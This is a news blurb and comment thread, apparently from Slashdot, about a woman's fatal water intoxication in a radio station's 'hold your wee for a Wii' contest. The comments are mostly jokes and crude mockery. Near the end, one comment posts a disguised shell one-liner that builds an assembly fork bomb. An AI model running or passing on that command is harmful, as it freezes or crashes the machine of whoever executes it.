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Woman Killed In Wii-Related Competition
snuffin writes to tell us that a local radio competition to "hold your wee for a Wii" has ended with a Sacramento woman dead from water poisoning. From the article: "An Associated Press interview with another contestant, named James Ybarra, claimed that contestants were initially given eight ounce bottles of water to drink every fifteen minutes, with larger bottles being used once contestants began to drop out. According to Ybarra, 'They told us if you don't feel like you can do this, don't put your health at risk.' He described the victim as 'a nice lady' and that 'she was telling me about her family and her three kids and how she was doing it for her kids.'"
Interviewed the winner and asked him or her how they felt about owning the Death WII.
There is no God, and Dirac is his prophet.
So did she win?
Who the hell came up with that name? See kids, this is why crack is illegal.
... I thought turkeys could fly.
Stressed? Me? Of course not. Stress is what a rubber band feels before it breaks, silly.
In other news, a Kansas City man died after slipping in pools of urine surrounding PS3 boxes at a local Best Buy.
We don't have a state-run media we have a media-run state.
Sorry in advance:
Her family is probably pretty "Pissed". This contest really went down the "Toilet". I can't believe how it's been "Sprayed" all over the news. Talk about a "Drinking Problem". As said to the second place contestant: "Urine" luck! I guess she didn't really get a fair "Shake".
Cool! Amazing Toys.
For those that couldnt hold their water there was a runner-up prize -
'Hold a turd, you might come third!'
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If you can't figure out why a mother of three is ineligible for the Darwin Awards, I think you may need to climb out of the gene pool yourself.
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They should have had them drinking Brawndo: The Thirst Mutilator. It's got what Moms crave. It's got electrolytes.
The theory of relativity doesn't work right in Arkansas.
Dihydrogen Monoxide is Dangerous! They've been telling us for years, but we just don't listen!
http://www.dhmo.org/
"If you make people think they're thinking, they'll love you; But if you really make them think, they'll hate you." - DM
No, but got pissed instead.
Yeah I nearly pissed myself laughing when I heard about it yesterday, but the irony was too much to handle, and I passed out.
The revolution will not be televised... but it will have a page on Wikipedia
Water--or dihydrogen monoxide--is a dangerous chemical that we treat far too lightly! Water contributes to global warming, soil erosion, and caused the levee failures in New Orleans!
Become informed of the dangers of Dihydrogen Monoxide before it's too late!
However, ignorance is no defence. Stressing your body always incurs a serious risk.
Right, so the hell with exercise.
Toronto-area transit rider? Rate your ride.
Clearly this water stuff is a dangerous substance that needs to be controlled. I think it should only be available from behind the pharmacy counter, that way kids don't get ahold of it and drink themselves to death.
Oh, not another one of you treehugging DHMO scaremongers! Hydrogen hydroxide is safe, natural, and beneficial!
step 3: god dammit, it doesn't work
...did she win?
"On a scale from 1 to 10, people are stupid"
I'm not much for lawsuits, but I hope the radio station that put on this stunt makes significant remedy to the lady's family
Well at least they should give her three kids a wii.
0H WAIT, THEN THERE WOULD BE NO ONE LEFT T0 POST ON SHITD0T!!
You're plainly wrong, sir. I haven't owned a video game machine since the Atari 2600. I demand an apology; I'm an entirely different kind of fucktard.
Oh, Wait...
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It's a bit harsh to call it stupidity ...
Fercryinoutloud, she was drinking dihydrogen monoxide!!!
Dunno about you, but everyone knows that's dangerous stuff. Been in an airport recently? The terrorists are now using it.
More info here!
HYDR-OWNED!!!!
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Why the heck didn't they use Gatorade instead of water?
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It sounds like Aristotle was an extremist toward moderation, placing him in violation of his own principle.
Me, well, I like moderation, but I am also a member of the extremist pedantry school of philosophy.
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Very relevant to slashdot:
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Intron: the portion of DNA which expresses nothing useful.
That's worse than manslaughter, it's not just being ignorant when you are told by a fucking nurse that it is dangerous.
The nurse doesn't even need to be that specialized - any kind of nurse would probably do.
...water bottles in the US of A don't carry some sort of fancy warning label like "Drinking to much water can kill you".
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You mean the guy from Penny Arcade? (kidding!)
That's funny. I consider moderating a form of exercise, too!
Oh, you meant physical exercise, didn't you.
...the future crusty old bastards are already drinking the Kool-Aid.
That's why we need to increase our efforts to get the word out about the dangers of DHMO.
Actually, the amount of water needs to drink a day is directly related to body weight. Average is 8 cups of water though
/.ers could drink much more water than this an be absolutely safe.
Exactly, most
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
"Did she wiin?" would have been funnier though.
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